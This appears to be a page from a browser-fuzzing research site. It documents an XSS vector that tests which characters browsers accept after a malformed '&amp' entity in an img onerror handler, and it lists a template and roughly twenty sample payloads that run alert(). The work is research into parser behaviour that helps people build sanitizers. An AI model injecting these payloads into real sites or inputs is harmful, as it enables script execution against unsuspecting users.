Characters allowed after malformed entities

This vector shows what characters are allowed after a malformed names entity.

Created by: hackvertor

Created on: Monday, July 1, 2024 at 9:26:08 PM

Updated on: Wednesday, March 12, 2025 at 1:11:12 PM

Vector type: XSS

Vector charset: UTF-8

Template used:
<img src=data: onerror="1&amp$[chr]log($[i])">

Your browser was detected as:

Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img src=data: onerror="1&amp-alert(45)">

<img src=data: onerror="1&amp
alert(10)">

<img src=data: onerror="1&amp alert(8201)"><img src=data: onerror="1&amp alert(8192)"><img src=data: onerror="1&amp alert(8195)"><img src=data: onerror="1&amp alert(8199)"><img src=data: onerror="1&amp alert(9)"><img src=data: onerror="1&amp alert(8200)"><img src=data: onerror="1&amp alert(8196)"><img src=data: onerror="1&amp alert(32)"><img src=data: onerror="1&ampalert(11)"><img src=data: onerror="1&amp alert(5760)"><img src=data: onerror="1&amp alert(8198)"><img src=data: onerror="1&amp&alert(38)"><img src=data: onerror="1&amp alert(8239)"><img src=data: onerror="1&amp alert(160)"><img src=data: onerror="1&amp alert(8202)"><img src=data: onerror="1&ampalert(65279)"><img src=data: onerror="1&amp~alert(126)"><img src=data: onerror="1&ampalert(12)">

Characters allowed after malformed entities

Sample payloads

Fuzz results